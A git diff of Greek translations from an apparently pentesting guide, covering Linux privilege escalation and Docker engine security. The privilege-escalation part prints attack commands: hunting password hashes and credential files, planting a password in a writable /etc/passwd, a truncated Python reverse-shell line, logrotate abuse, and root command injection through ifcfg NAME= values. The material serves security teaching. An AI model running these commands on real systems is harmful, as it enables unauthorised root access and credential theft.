Το αρχείο `/etc/sshd_config` μπορεί να **επιτρέψει** ή να **αρνηθεί** τη μεταφορά ssh-agent με τη λέξη-κλειδί `AllowAgentForwarding` (η προεπιλογή είναι επιτρεπτή). Το αρχείο `/etc/sshd_config` μπορεί να **επιτρέψει** ή να **αρνηθεί** τη μεταφορά ssh-agent με τη λέξη-κλειδί `AllowAgentForwarding` (η προεπιλογή είναι επιτρεπτή).
@ -1173,11 +1177,11 @@ ssh-forward-agent-exploitation.md
```bash ```bash
ls -l /etc/profile /etc/profile.d/ ls -l /etc/profile /etc/profile.d/
``` ```
Αν βρείτε οποιοδήποτε περίεργο προφίλ script, θα πρέπει να το ελέγξετε για **ευαίσθητες λεπτομέρειες**. Αν βρείτε κάποιο περίεργο προφίλ script, θα πρέπει να το ελέγξετε για **ευαίσθητες λεπτομέρειες**.
### Αρχεία Passwd/Shadow ### Αρχεία Passwd/Shadow
Ανάλογα με το λειτουργικό σύστημα, τα αρχεία `/etc/passwd` και `/etc/shadow` μπορεί να έχουν διαφορετικό όνομα ή μπορεί να υπάρχει ένα αντίγραφο ασφαλείας. Επομένως, συνιστάται να **βρείτε όλα αυτά** και να **ελέγξετε αν μπορείτε να τα διαβάσετε** για να δείτε **αν υπάρχουν hashes** μέσα στα αρχεία: Ανάλογα με το λειτουργικό σύστημα, τα αρχεία `/etc/passwd` και `/etc/shadow` μπορεί να έχουν διαφορετικό όνομα ή να υπάρχει ένα αντίγραφο ασφαλείας. Επομένως, συνιστάται να **βρείτε όλα αυτά** και να **ελέγξετε αν μπορείτε να τα διαβάσετε** για να δείτε **αν υπάρχουν hashes** μέσα στα αρχεία:
```bash ```bash
#Passwd equivalent files #Passwd equivalent files
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
@ -1190,7 +1194,7 @@ grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/
``` ```
### Writable /etc/passwd ### Writable /etc/passwd
Πρώτα, δημιουργήστε έναν κωδικό πρόσβασης με μία από τις παρακάτω εντολές. Πρώτον, δημιουργήστε έναν κωδικό πρόσβασης με μία από τις παρακάτω εντολές.
``` ```
openssl passwd -1 -salt hacker hacker openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker mkpasswd -m SHA-512 hacker
@ -1256,7 +1260,7 @@ find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -p
```bash ```bash
find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null
``` ```
### \*\_ιστορικό, .sudo_as_admin_successful, προφίλ, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml αρχεία ### \*\_ιστορικό, .sudo_as_admin_successful, προφίλ, bashrc, httpd.conf, .σχέδιο, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml αρχεία
```bash ```bash
find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null
``` ```
@ -1283,19 +1287,19 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam
### Γνωστά αρχεία που περιέχουν κωδικούς πρόσβασης ### Γνωστά αρχεία που περιέχουν κωδικούς πρόσβασης
Διαβάστε τον κώδικα του [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), αναζητά **πολλά πιθανά αρχεία που θα μπορούσαν να περιέχουν κωδικούς πρόσβασης**.\ Διαβάστε τον κώδικα του [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), αναζητά **πολλά πιθανά αρχεία που θα μπορούσαν να περιέχουν κωδικούς πρόσβασης**.\
**Ένα άλλο ενδιαφέρον εργαλείο** που μπορείτε να χρησιμοποιήσετε γι' αυτό είναι: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) που είναι μια εφαρμογή ανοιχτού κώδικα που χρησιμοποιείται για την ανάκτηση πολλών κωδικών πρόσβασης που είναι αποθηκευμένοι σε τοπικό υπολογιστή για Windows, Linux & Mac. **Ένα άλλο ενδιαφέρον εργαλείο** που μπορείτε να χρησιμοποιήσετε γι' αυτό είναι: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) το οποίο είναι μια εφαρμογή ανοιχτού κώδικα που χρησιμοποιείται για την ανάκτηση πολλών κωδικών πρόσβασης που είναι αποθηκευμένοι σε τοπικό υπολογιστή για Windows, Linux & Mac.
### Καταγραφές ### Καταγραφές
Αν μπορείτε να διαβάσετε καταγραφές, μπορεί να είστε σε θέση να βρείτε **ενδιαφέρουσες/εμπιστευτικές πληροφορίες μέσα σε αυτές**. Όσο πιο παράξενη είναι η καταγραφή, τόσο πιο ενδιαφέρουσα θα είναι (πιθανώς).\ Αν μπορείτε να διαβάσετε καταγραφές, μπορεί να είστε σε θέση να βρείτε **ενδιαφέρουσες/εμπιστευτικές πληροφορίες μέσα σε αυτές**. Όσο πιο παράξενη είναι η καταγραφή, τόσο πιο ενδιαφέρουσα θα είναι (πιθανώς).\
Επίσης, κάποιες **κακώς** ρυθμισμένες (πιθανώς με backdoor) **καταγραφές ελέγχου** μπορεί να σας επιτρέψουν να **καταγράφετε κωδικούς πρόσβασης** μέσα σε καταγραφές ελέγχου όπως εξηγείται σε αυτή την ανάρτηση: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). Επίσης, κάποιες "**κακώς**" ρυθμισμένες (backdoored?) **καταγραφές ελέγχου** μπορεί να σας επιτρέψουν να **καταγράψετε κωδικούς πρόσβασης** μέσα σε καταγραφές ελέγχου όπως εξηγείται σε αυτή την ανάρτηση: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
```bash ```bash
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
``` ```
Για να **διαβάσετε τα αρχεία καταγραφής, η ομάδα** [**adm**](interesting-groups-linux-pe/#adm-group) θα είναι πολύ χρήσιμη. Για να **διαβάσετε τα αρχεία καταγραφής, η ομάδα** [**adm**](interesting-groups-linux-pe/#adm-group) θα είναι πολύ χρήσιμη.
### Shell αρχεία ### Αρχεία Shell
```bash ```bash
~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_profile # if it exists, read it once when you log in to the shell
~/.bash_login # if it exists, read it once if .bash_profile doesn't exist ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist
@ -1323,26 +1327,26 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s
``` ```
### Εκμετάλλευση του Logrotate ### Εκμετάλλευση του Logrotate
Μια ευπάθεια στο `logrotate` επιτρέπει σε χρήστες με **δικαιώματα εγγραφής** σε ένα αρχείο καταγραφής ή στους γονικούς του καταλόγους να αποκτήσουν πιθανώς ανυψωμένα δικαιώματα. Αυτό συμβαίνει επειδή το `logrotate`, που συχνά εκτελείται ως **root**, μπορεί να χειραγωγηθεί για να εκτελέσει αυθαίρετα αρχεία, ειδικά σε καταλόγους όπως το _**/etc/bash_completion.d/**_. Είναι σημαντικό να ελέγχετε τα δικαιώματα όχι μόνο στο _/var/log_ αλλά και σε οποιονδήποτε κατάλογο όπου εφαρμόζεται η περιστροφή καταγραφών. Μια ευπάθεια στο `logrotate` επιτρέπει σε χρήστες με **δικαιώματα εγγραφής** σε ένα αρχείο καταγραφής ή στους γονικούς του φακέλους να αποκτήσουν πιθανώς ανυψωμένα δικαιώματα. Αυτό συμβαίνει επειδή το `logrotate`, που συχνά εκτελείται ως **root**, μπορεί να παραποιηθεί για να εκτελέσει αυθαίρετα αρχεία, ειδικά σε φακέλους όπως το _**/etc/bash_completion.d/**_. Είναι σημαντικό να ελέγχετε τα δικαιώματα όχι μόνο στο _/var/log_ αλλά και σε οποιονδήποτε φάκελο όπου εφαρμόζεται η περιστροφή καταγραφών.
> [!NOTE] > [!NOTE]
> Αυτή η ευπάθεια επηρεάζει την έκδοση `logrotate` `3.18.0` και παλαιότερες > Αυτή η ευπάθεια επηρεάζει την έκδοση `logrotate` `3.18.0` και παλαιότερες
Περισσότερες λεπτομέρειες σχετικά με την ευπάθεια μπορείτε να βρείτε σε αυτή τη σελίδα: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). Περισσότερες λεπτομέρειες σχετικά με την ευπάθεια μπορείτε να βρείτε σε αυτή τη σελίδα: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition).
Μπορείτε να εκμεταλλευτείτε αυτή την ευπάθεια με το [**logrotten**](https://github.com/whotwagner/logrotten). Μπορείτε να εκμεταλλευτείτε αυτή την ευπάθεια με [**logrotten**](https://github.com/whotwagner/logrotten).
Αυτή η ευπάθεια είναι πολύ παρόμοια με [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** οπότε όποτε βρείτε ότι μπορείτε να τροποποιήσετε τα logs, ελέγξτε ποιος διαχειρίζεται αυτά τα logs και ελέγξτε αν μπορείτε να ανυψώσετε δικαιώματα αντικαθιστώντας τα logs με symlinks. Αυτή η ευπάθεια είναι πολύ παρόμοια με [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(αρχεία καταγραφής nginx),** οπότε όποτε διαπιστώσετε ότι μπορείτε να τροποποιήσετε τα αρχεία καταγραφής, ελέγξτε ποιος διαχειρίζεται αυτά τα αρχεία και ελέγξτε αν μπορείτε να ανυψώσετε τα δικαιώματα αντικαθιστώντας τα αρχεία καταγραφής με symlinks.
### /etc/sysconfig/network-scripts/ (Centos/Redhat) ### /etc/sysconfig/network-scripts/ (Centos/Redhat)
**Αναφορά ευπάθειας:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) **Αναφορά ευπάθειας:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
Αν, για οποιονδήποτε λόγο, ένας χρήστης είναι σε θέση να **γράψει** ένα σενάριο `ifcf-<whatever>` στο _/etc/sysconfig/network-scripts_ **ή** μπορεί να **προσαρμόσει** ένα υπάρχον, τότε το **σύστημά σας είναι pwned**. Αν, για οποιονδήποτε λόγο, ένας χρήστης είναι σε θέση να **γράψει** ένα σενάριο `ifcf-<whatever>` στο _/etc/sysconfig/network-scripts_ **ή** μπορεί να **προσαρμόσει** ένα υπάρχον, τότε το **σύστημα σας είναι pwned**.
Τα σενάρια δικτύου, όπως το _ifcg-eth0_, χρησιμοποιούνται για συνδέσεις δικτύου. Φαίνονται ακριβώς όπως τα αρχεία .INI. Ωστόσο, είναι \~sourced\~ στο Linux από τον Network Manager (dispatcher.d). Τα σενάρια δικτύου, όπως το _ifcg-eth0_, χρησιμοποιούνται για συνδέσεις δικτύου. Φαίνονται ακριβώς όπως τα αρχεία .INI. Ωστόσο, είναι \~sourced\~ στο Linux από τον Network Manager (dispatcher.d).
Στην περίπτωσή μου, το `NAME=` που αποδίδεται σε αυτά τα σενάρια δικτύου δεν διαχειρίζεται σωστά. Αν έχετε **λευκό/κενό χώρο στο όνομα, το σύστημα προσπαθεί να εκτελέσει το μέρος μετά τον λευκό/κενό χώρο**. Αυτό σημαίνει ότι **όλα μετά τον πρώτο λευκό χώρο εκτελούνται ως root**. Στην περίπτωσή μου, το `NAME=` που αποδίδεται σε αυτά τα σενάρια δικτύου δεν διαχειρίζεται σωστά. Αν έχετε **λευκό/κενό διάστημα στο όνομα, το σύστημα προσπαθεί να εκτελέσει το μέρος μετά το λευκό/κενό διάστημα**. Αυτό σημαίνει ότι **όλα μετά το πρώτο κενό διάστημα εκτελούνται ως root**.
Για παράδειγμα: _/etc/sysconfig/network-scripts/ifcfg-1337_ Για παράδειγμα: _/etc/sysconfig/network-scripts/ifcfg-1337_
```bash ```bash
@ -1352,7 +1356,7 @@ DEVICE=eth0
``` ```
### **init, init.d, systemd, και rc.d** ### **init, init.d, systemd, και rc.d**
Ο φάκελος `/etc/init.d` είναι το σπίτι των **scripts** για το System V init (SysVinit), το **κλασικό σύστημα διαχείρισης υπηρεσιών Linux**. Περιλαμβάνει scripts για `start`, `stop`, `restart`, και μερικές φορές `reload` υπηρεσίες. Αυτά μπορούν να εκτελούνται απευθείας ή μέσω συμβολικών συνδέσμων που βρίσκονται στο `/etc/rc?.d/`. Ένας εναλλακτικός φάκελος στα συστήματα Redhat είναι το `/etc/rc.d/init.d`. Ο φάκελος `/etc/init.d` είναι το σπίτι των **scripts** για το System V init (SysVinit), το **κλασικό σύστημα διαχείρισης υπηρεσιών Linux**. Περιλαμβάνει scripts για `start`, `stop`, `restart`, και μερικές φορές `reload` υπηρεσίες. Αυτά μπορούν να εκτελούνται άμεσα ή μέσω συμβολικών συνδέσμων που βρίσκονται στο `/etc/rc?.d/`. Ένας εναλλακτικός φάκελος στα συστήματα Redhat είναι το `/etc/rc.d/init.d`.
Από την άλλη πλευρά, το `/etc/init` σχετίζεται με το **Upstart**, μια νεότερη **διαχείριση υπηρεσιών** που εισήχθη από το Ubuntu, χρησιμοποιώντας αρχεία ρυθμίσεων για εργασίες διαχείρισης υπηρεσιών. Παρά τη μετάβαση στο Upstart, τα scripts του SysVinit εξακολουθούν να χρησιμοποιούνται παράλληλα με τις ρυθμίσεις του Upstart λόγω ενός επιπέδου συμβατότητας στο Upstart. Από την άλλη πλευρά, το `/etc/init` σχετίζεται με το **Upstart**, μια νεότερη **διαχείριση υπηρεσιών** που εισήχθη από το Ubuntu, χρησιμοποιώντας αρχεία ρυθμίσεων για εργασίες διαχείρισης υπηρεσιών. Παρά τη μετάβαση στο Upstart, τα scripts του SysVinit εξακολουθούν να χρησιμοποιούνται παράλληλα με τις ρυθμίσεις του Upstart λόγω ενός επιπέδου συμβατότητας στο Upstart.

View File

@ -4,7 +4,7 @@
## **Βασική Ασφάλεια Μηχανής Docker** ## **Βασική Ασφάλεια Μηχανής Docker**
Η **μηχανή Docker** χρησιμοποιεί τα **Namespaces** και **Cgroups** του πυρήνα Linux για να απομονώσει τα κοντέινερ, προσφέροντας μια βασική στρώση ασφάλειας. Επιπλέον προστασία παρέχεται μέσω της **πτώσης Δυνατοτήτων**, **Seccomp** και **SELinux/AppArmor**, ενισχύοντας την απομόνωση των κοντέινερ. Ένα **auth plugin** μπορεί να περιορίσει περαιτέρω τις ενέργειες των χρηστών. Η **μηχανή Docker** χρησιμοποιεί τα **Namespaces** και **Cgroups** του πυρήνα Linux για να απομονώσει τα κοντέινερ, προσφέροντας μια βασική στρώση ασφάλειας. Επιπλέον προστασία παρέχεται μέσω της **αφαίρεσης Δυνατοτήτων**, **Seccomp** και **SELinux/AppArmor**, ενισχύοντας την απομόνωση των κοντέινερ. Ένα **auth plugin** μπορεί να περιορίσει περαιτέρω τις ενέργειες των χρηστών.
![Docker Security](https://sreeninet.files.wordpress.com/2016/03/dockersec1.png) ![Docker Security](https://sreeninet.files.wordpress.com/2016/03/dockersec1.png)
@ -12,12 +12,12 @@
Η μηχανή Docker μπορεί να προσπελαστεί είτε τοπικά μέσω ενός Unix socket είτε απομακρυσμένα χρησιμοποιώντας HTTP. Για απομακρυσμένη πρόσβαση, είναι απαραίτητο να χρησιμοποιούνται HTTPS και **TLS** για να διασφαλιστούν η εμπιστευτικότητα, η ακεραιότητα και η ταυτοποίηση. Η μηχανή Docker μπορεί να προσπελαστεί είτε τοπικά μέσω ενός Unix socket είτε απομακρυσμένα χρησιμοποιώντας HTTP. Για απομακρυσμένη πρόσβαση, είναι απαραίτητο να χρησιμοποιούνται HTTPS και **TLS** για να διασφαλιστούν η εμπιστευτικότητα, η ακεραιότητα και η ταυτοποίηση.
Η μηχανή Docker, από προεπιλογή, ακούει στο Unix socket στο `unix:///var/run/docker.sock`. Στα συστήματα Ubuntu, οι επιλογές εκκίνησης του Docker ορίζονται στο `/etc/default/docker`. Για να επιτρέψετε απομακρυσμένη πρόσβαση στο Docker API και τον πελάτη, εκθέστε τον Docker daemon μέσω ενός HTTP socket προσθέτοντας τις παρακάτω ρυθμίσεις: Η μηχανή Docker, από προεπιλογή, ακούει στο Unix socket στο `unix:///var/run/docker.sock`. Στα συστήματα Ubuntu, οι επιλογές εκκίνησης του Docker ορίζονται στο `/etc/default/docker`. Για να επιτρέψετε την απομακρυσμένη πρόσβαση στο Docker API και τον πελάτη, εκθέστε τον Docker daemon μέσω ενός HTTP socket προσθέτοντας τις παρακάτω ρυθμίσεις:
```bash ```bash
DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376" DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376"
sudo service docker restart sudo service docker restart
``` ```
Ωστόσο, η έκθεση του Docker daemon μέσω HTTP δεν συνιστάται λόγω ανησυχιών σχετικά με την ασφάλεια. Είναι σκόπιμο να ασφαλίσετε τις συνδέσεις χρησιμοποιώντας HTTPS. Υπάρχουν δύο κύριες προσεγγίσεις για την ασφάλιση της σύνδεσης: Ωστόσο, η έκθεση του Docker daemon μέσω HTTP δεν συνιστάται λόγω ανησυχιών ασφαλείας. Είναι σκόπιμο να ασφαλίσετε τις συνδέσεις χρησιμοποιώντας HTTPS. Υπάρχουν δύο κύριες προσεγγίσεις για την ασφάλιση της σύνδεσης:
1. Ο πελάτης επαληθεύει την ταυτότητα του διακομιστή. 1. Ο πελάτης επαληθεύει την ταυτότητα του διακομιστή.
2. Και ο πελάτης και ο διακομιστής αλληλοεπιβεβαιώνουν την ταυτότητα ο ένας του άλλου. 2. Και ο πελάτης και ο διακομιστής αλληλοεπιβεβαιώνουν την ταυτότητα ο ένας του άλλου.
@ -26,7 +26,7 @@ sudo service docker restart
### Ασφάλεια Εικόνων Κοντέινερ ### Ασφάλεια Εικόνων Κοντέινερ
Οι εικόνες κοντέινερ μπορούν να αποθηκευτούν σε ιδιωτικά ή δημόσια αποθετήρια. Το Docker προσφέρει πολλές επιλογές αποθήκευσης για εικόνες κοντέινερ: Οι εικόνες κοντέινερ μπορούν να αποθηκευτούν είτε σε ιδιωτικά είτε σε δημόσια αποθετήρια. Το Docker προσφέρει πολλές επιλογές αποθήκευσης για εικόνες κοντέινερ:
- [**Docker Hub**](https://hub.docker.com): Μια δημόσια υπηρεσία μητρώου από το Docker. - [**Docker Hub**](https://hub.docker.com): Μια δημόσια υπηρεσία μητρώου από το Docker.
- [**Docker Registry**](https://github.com/docker/distribution): Ένα έργο ανοιχτού κώδικα που επιτρέπει στους χρήστες να φιλοξενούν το δικό τους μητρώο. - [**Docker Registry**](https://github.com/docker/distribution): Ένα έργο ανοιχτού κώδικα που επιτρέπει στους χρήστες να φιλοξενούν το δικό τους μητρώο.
@ -34,7 +34,7 @@ sudo service docker restart
### Σάρωση Εικόνας ### Σάρωση Εικόνας
Τα κοντέινερ μπορεί να έχουν **ευπάθειες ασφαλείας** είτε λόγω της βασικής εικόνας είτε λόγω του λογισμικού που είναι εγκατεστημένο πάνω από τη βασική εικόνα. Το Docker εργάζεται σε ένα έργο που ονομάζεται **Nautilus** που εκτελεί σάρωση ασφαλείας των Κοντέινερ και καταγράφει τις ευπάθειες. Το Nautilus λειτουργεί συγκρίνοντας κάθε επίπεδο εικόνας Κοντέινερ με το αποθετήριο ευπαθειών για να εντοπίσει κενά ασφαλείας. Τα κοντέινερ μπορεί να έχουν **ευπάθειες ασφαλείας** είτε λόγω της βασικής εικόνας είτε λόγω του λογισμικού που είναι εγκατεστημένο πάνω από τη βασική εικόνα. Το Docker εργάζεται σε ένα έργο που ονομάζεται **Nautilus** που εκτελεί σάρωση ασφαλείας των Κοντέινερ και καταγράφει τις ευπάθειες. Το Nautilus λειτουργεί συγκρίνοντας κάθε επίπεδο εικόνας Κοντέινερ με το αποθετήριο ευπαθειών για να εντοπίσει τα κενά ασφαλείας.
Για περισσότερες [**πληροφορίες διαβάστε αυτό**](https://docs.docker.com/engine/scan/). Για περισσότερες [**πληροφορίες διαβάστε αυτό**](https://docs.docker.com/engine/scan/).
@ -74,9 +74,9 @@ clair-scanner -w example-alpine.yaml --ip YOUR_LOCAL_IP alpine:3.5
- **Docker Content Trust** χρησιμοποιεί το έργο Notary, βασισμένο στο The Update Framework (TUF), για τη διαχείριση της υπογραφής εικόνας. Για περισσότερες πληροφορίες, δείτε το [Notary](https://github.com/docker/notary) και το [TUF](https://theupdateframework.github.io). - **Docker Content Trust** χρησιμοποιεί το έργο Notary, βασισμένο στο The Update Framework (TUF), για τη διαχείριση της υπογραφής εικόνας. Για περισσότερες πληροφορίες, δείτε το [Notary](https://github.com/docker/notary) και το [TUF](https://theupdateframework.github.io).
- Για να ενεργοποιήσετε την εμπιστοσύνη περιεχομένου Docker, ρυθμίστε `export DOCKER_CONTENT_TRUST=1`. Αυτή η δυνατότητα είναι απενεργοποιημένη από προεπιλογή στην έκδοση Docker 1.10 και μεταγενέστερες. - Για να ενεργοποιήσετε την εμπιστοσύνη περιεχομένου Docker, ρυθμίστε `export DOCKER_CONTENT_TRUST=1`. Αυτή η δυνατότητα είναι απενεργοποιημένη από προεπιλογή στην έκδοση Docker 1.10 και μεταγενέστερες.
- Με αυτή τη δυνατότητα ενεργοποιημένη, μόνο υπογεγραμμένες εικόνες μπορούν να ληφθούν. Η αρχική μεταφόρτωση εικόνας απαιτεί ρύθμιση κωδικών πρόσβασης για τα κλειδιά root και tagging, με το Docker να υποστηρίζει επίσης Yubikey για ενισχυμένη ασφάλεια. Περισσότερες λεπτομέρειες μπορείτε να βρείτε [εδώ](https://blog.docker.com/2015/11/docker-content-trust-yubikey/). - Με αυτή τη δυνατότητα ενεργοποιημένη, μόνο υπογεγραμμένες εικόνες μπορούν να ληφθούν. Η αρχική αποστολή εικόνας απαιτεί τη ρύθμιση κωδικών πρόσβασης για τα κλειδιά root και tagging, με το Docker να υποστηρίζει επίσης Yubikey για αυξημένη ασφάλεια. Περισσότερες λεπτομέρειες μπορείτε να βρείτε [εδώ](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
- Η προσπάθεια λήψης μιας μη υπογεγραμμένης εικόνας με ενεργοποιημένη την εμπιστοσύνη περιεχομένου έχει ως αποτέλεσμα ένα σφάλμα "No trust data for latest". - Η προσπάθεια λήψης μιας μη υπογεγραμμένης εικόνας με ενεργοποιημένη την εμπιστοσύνη περιεχομένου έχει ως αποτέλεσμα ένα σφάλμα "No trust data for latest".
- Για τις μεταφορτώσεις εικόνας μετά την πρώτη, το Docker ζητά τον κωδικό πρόσβασης του κλειδιού αποθετηρίου για να υπογράψει την εικόνα. - Για τις αποστολές εικόνας μετά την πρώτη, το Docker ζητά τον κωδικό πρόσβασης του κλειδιού αποθετηρίου για να υπογράψει την εικόνα.
Για να δημιουργήσετε αντίγραφα ασφαλείας των ιδιωτικών σας κλειδιών, χρησιμοποιήστε την εντολή: Για να δημιουργήσετε αντίγραφα ασφαλείας των ιδιωτικών σας κλειδιών, χρησιμοποιήστε την εντολή:
```bash ```bash
@ -92,25 +92,25 @@ tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private
**Κύρια Χαρακτηριστικά Απομόνωσης Διαδικασιών** **Κύρια Χαρακτηριστικά Απομόνωσης Διαδικασιών**
Σε κοντεϊνεροποιημένα περιβάλλοντα, η απομόνωση έργων και των διαδικασιών τους είναι πρωταρχικής σημασίας για την ασφάλεια και τη διαχείριση πόρων. Ακολουθεί μια απλοποιημένη εξήγηση βασικών εννοιών: Σε περιβάλλοντα κοντέινερ, η απομόνωση έργων και των διαδικασιών τους είναι πρωταρχικής σημασίας για την ασφάλεια και τη διαχείριση πόρων. Ακολουθεί μια απλοποιημένη εξήγηση βασικών εννοιών:
**Namespaces** **Namespaces**
- **Σκοπός**: Διασφαλίζει την απομόνωση πόρων όπως διαδικασίες, δίκτυο και συστήματα αρχείων. Ιδιαίτερα στο Docker, τα namespaces διατηρούν τις διαδικασίες ενός κοντέινερ ξεχωριστές από τον host και άλλα κοντέινερ. - **Σκοπός**: Διασφαλίζει την απομόνωση πόρων όπως διαδικασίες, δίκτυο και συστήματα αρχείων. Ιδιαίτερα στο Docker, τα namespaces κρατούν τις διαδικασίες ενός κοντέινερ ξεχωριστές από τον host και άλλα κοντέινερ.
- **Χρήση του `unshare`**: Η εντολή `unshare` (ή η υποκείμενη syscall) χρησιμοποιείται για τη δημιουργία νέων namespaces, παρέχοντας ένα επιπλέον επίπεδο απομόνωσης. Ωστόσο, ενώ το Kubernetes δεν μπλοκάρει εγγενώς αυτό, το Docker το κάνει. - **Χρήση του `unshare`**: Η εντολή `unshare` (ή η υποκείμενη syscall) χρησιμοποιείται για τη δημιουργία νέων namespaces, παρέχοντας ένα επιπλέον επίπεδο απομόνωσης. Ωστόσο, ενώ το Kubernetes δεν μπλοκάρει εγγενώς αυτό, το Docker το κάνει.
- **Περιορισμός**: Η δημιουργία νέων namespaces δεν επιτρέπει σε μια διαδικασία να επιστρέψει στα προεπιλεγμένα namespaces του host. Για να διεισδύσει στα namespaces του host, συνήθως απαιτείται πρόσβαση στον κατάλογο `/proc` του host, χρησιμοποιώντας το `nsenter` για είσοδο. - **Περιορισμός**: Η δημιουργία νέων namespaces δεν επιτρέπει σε μια διαδικασία να επιστρέψει στα προεπιλεγμένα namespaces του host. Για να διεισδύσει στα namespaces του host, συνήθως απαιτείται πρόσβαση στον κατάλογο `/proc` του host, χρησιμοποιώντας το `nsenter` για είσοδο.
**Control Groups (CGroups)** **Control Groups (CGroups)**
- **Λειτουργία**: Χρησιμοποιούνται κυρίως για την κατανομή πόρων μεταξύ διαδικασιών. - **Λειτουργία**: Χρησιμοποιούνται κυρίως για την κατανομή πόρων μεταξύ διαδικασιών.
- **Πτυχή Ασφαλείας**: Τα CGroups από μόνα τους δεν προσφέρουν ασφάλεια απομόνωσης, εκτός από τη δυνατότητα `release_agent`, η οποία, αν είναι κακώς ρυθμισμένη, θα μπορούσε ενδεχομένως να εκμεταλλευτεί για μη εξουσιοδοτημένη πρόσβαση. - **Ασφαλιστική Πτυχή**: Τα CGroups από μόνα τους δεν προσφέρουν ασφάλεια απομόνωσης, εκτός από τη δυνατότητα `release_agent`, η οποία, αν είναι κακώς ρυθμισμένη, θα μπορούσε ενδεχομένως να εκμεταλλευτεί για μη εξουσιοδοτημένη πρόσβαση.
**Capability Drop** **Capability Drop**
- **Σημασία**: Είναι ένα κρίσιμο χαρακτηριστικό ασφαλείας για την απομόνωση διαδικασιών. - **Σημασία**: Είναι ένα κρίσιμο χαρακτηριστικό ασφάλειας για την απομόνωση διαδικασιών.
- **Λειτουργικότητα**: Περιορίζει τις ενέργειες που μπορεί να εκτελέσει μια διαδικασία root απορρίπτοντας ορισμένες ικανότητες. Ακόμη και αν μια διαδικασία εκτελείται με δικαιώματα root, η έλλειψη των απαραίτητων ικανοτήτων την εμποδίζει να εκτελεί προνομιακές ενέργειες, καθώς οι syscalls θα αποτύχουν λόγω ανεπαρκών δικαιωμάτων. - **Λειτουργικότητα**: Περιορίζει τις ενέργειες που μπορεί να εκτελέσει μια διαδικασία root απορρίπτοντας ορισμένες δυνατότητες. Ακόμη και αν μια διαδικασία εκτελείται με δικαιώματα root, η έλλειψη των απαραίτητων δυνατοτήτων την εμποδίζει να εκτελεί προνομιακές ενέργειες, καθώς οι syscalls θα αποτύχουν λόγω ανεπαρκών δικαιωμάτων.
Αυτές είναι οι **υπόλοιπες ικανότητες** μετά την απόρριψη των άλλων: Αυτές είναι οι **υπόλοιπες δυνατότητες** μετά την απόρριψη των άλλων:
``` ```
Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep
``` ```
@ -129,9 +129,9 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca
### Namespaces ### Namespaces
